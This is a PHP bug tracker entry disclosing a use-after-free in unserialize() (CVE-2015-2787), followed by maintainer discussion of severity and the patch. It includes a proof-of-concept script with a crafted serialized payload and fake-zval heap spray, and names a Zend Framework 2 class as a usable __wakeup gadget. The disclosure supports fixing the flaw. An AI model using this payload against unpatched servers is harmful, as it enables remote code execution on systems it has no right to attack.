php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #68976 Use After Free Vulnerability in unserialize()
Submitted: 2015-02-03 06:18 UTC Modified: 2015-03-31 05:51 UTC
From: taoguangchen at icloud dot com Assigned: stas
Status: Closed Package: *General Issues
PHP Version: 5.6.5 OS: *
Private report: No CVE-ID: 2015-2787
 [2015-02-03 06:18 UTC] taoguangchen at icloud dot com
Description:
------------
static inline int object_common2(UNSERIALIZE_PARAMETER, zend_long elements)
{
	zval retval;
	zval fname;

	if (Z_TYPE_P(rval) != IS_OBJECT) {
		return 0;
	}

	//??? TODO: resize before
	if (!process_nested_data(UNSERIALIZE_PASSTHRU, Z_OBJPROP_P(rval), elements, 1)) {
		return 0;
	}

	ZVAL_DEREF(rval);
	if (Z_OBJCE_P(rval) != PHP_IC_ENTRY &&
		zend_hash_str_exists(&Z_OBJCE_P(rval)->function_table, "__wakeup", sizeof("__wakeup")-1)) {
		ZVAL_STRINGL(&fname, "__wakeup", sizeof("__wakeup") - 1);
		BG(serialize_lock)++;
		call_user_function_ex(CG(function_table), rval, &fname, &retval, 0, 0, 1, NULL);

The __wakeup() magic method lead to this problem.

The simple code:

<?php

class evilClass {
	public $name;
	function __wakeup() {
		unset($this->name);
	}
}

$fakezval = pack(
    'IIII',
    0x00100000,
    0x00000400,
    0x00000000,
    0x00000006 
);

$data = unserialize('a:2:{i:0;O:9:"evilClass":1:{s:4:"name";a:2:{i:0;i:1;i:1;i:2;}}i:1;R:4;}');

for($i = 0; $i < 5; $i++) {
    $v[$i] = $fakezval.$i;
}

var_dump($data);

?>

The unset() leads to the ZVAL and all its children is freed from memory. However the unserialize() code will still allow to use R: or r: to set references to that already freed memory. There is a use after free vulnerability, and allows to execute arbitrary code.


Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2015-02-16 05:39 UTC] stas@php.net
This requires creating special class to trigger this. But if you can inject code in evilClass, you already have code execution capability. So I'm not sure this is a security issue. I'll think if this issue can be fixed, but doesn't look like a security problem.
 [2015-02-16 07:04 UTC] taoguangchen at icloud dot com
In fact, many programs use __wakeup(), and don't need a special definition of __wakeup(), some very common operations can cause problems, like Zend Framework 2

class Mbox extends AbstractStorage
{
...
    protected function openMboxFile($filename)
    {
        if ($this->fh) {
            $this->close();
        }
        ErrorHandler::start();
        $this->fh = fopen($filename, 'r');
        $error = ErrorHandler::stop();
        if (!$this->fh) {
            throw new Exception\RuntimeException('cannot open mbox file', 0, $error);
        }
        $this->filename = $filename;
        $this->filemtime = filemtime($this->filename);
...
    public function close()
    {
        ErrorHandler::start(E_WARNING);
        fclose($this->fh);
        ErrorHandler::stop();
        $this->positions = array();
    }
...
    public function __wakeup()
    {
        ErrorHandler::start();
        $filemtime = filemtime($this->filename);
        ErrorHandler::stop();
        if ($this->filemtime != $filemtime) {
            $this->close();
            $this->openMboxFile($this->filename);
        } else {
            ErrorHandler::start();
            $this->fh = fopen($this->filename, 'r');
            $error    = ErrorHandler::stop();
            if (!$this->fh) {
                throw new Exception\RuntimeException('cannot open mbox file', 0, $error);
            }
        }
    }

$this->positions, $this->filemtime and etc will be assigned, which leads to use after free vulnerability and remote code execution.
 [2015-03-02 05:57 UTC] stas@php.net
This seems to fix the issue: https://gist.github.com/smalyshev/eea9eafc7c88a4a6d10d

Please check.
 [2015-03-02 08:09 UTC] taoguangchen at icloud dot com
The patch looks and test is ok.
 [2015-03-17 23:44 UTC] stas@php.net
-Status: Open +Status: Closed -Assigned To: +Assigned To: stas
 [2015-03-17 23:44 UTC] stas@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.


 [2015-03-31 05:51 UTC] kaplan@php.net
-CVE-ID: +CVE-ID: 2015-2787
 [2016-07-20 11:39 UTC] davey@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=780222f97f47644a6a118ada86a269a96a1e8134
Log: Fixed bug #68976 - Use After Free Vulnerability in unserialize()
 
PHP Copyright © 2001-2017 The PHP Group
All rights reserved.
Last updated: Tue Jun 27 08:01:51 2017 UTC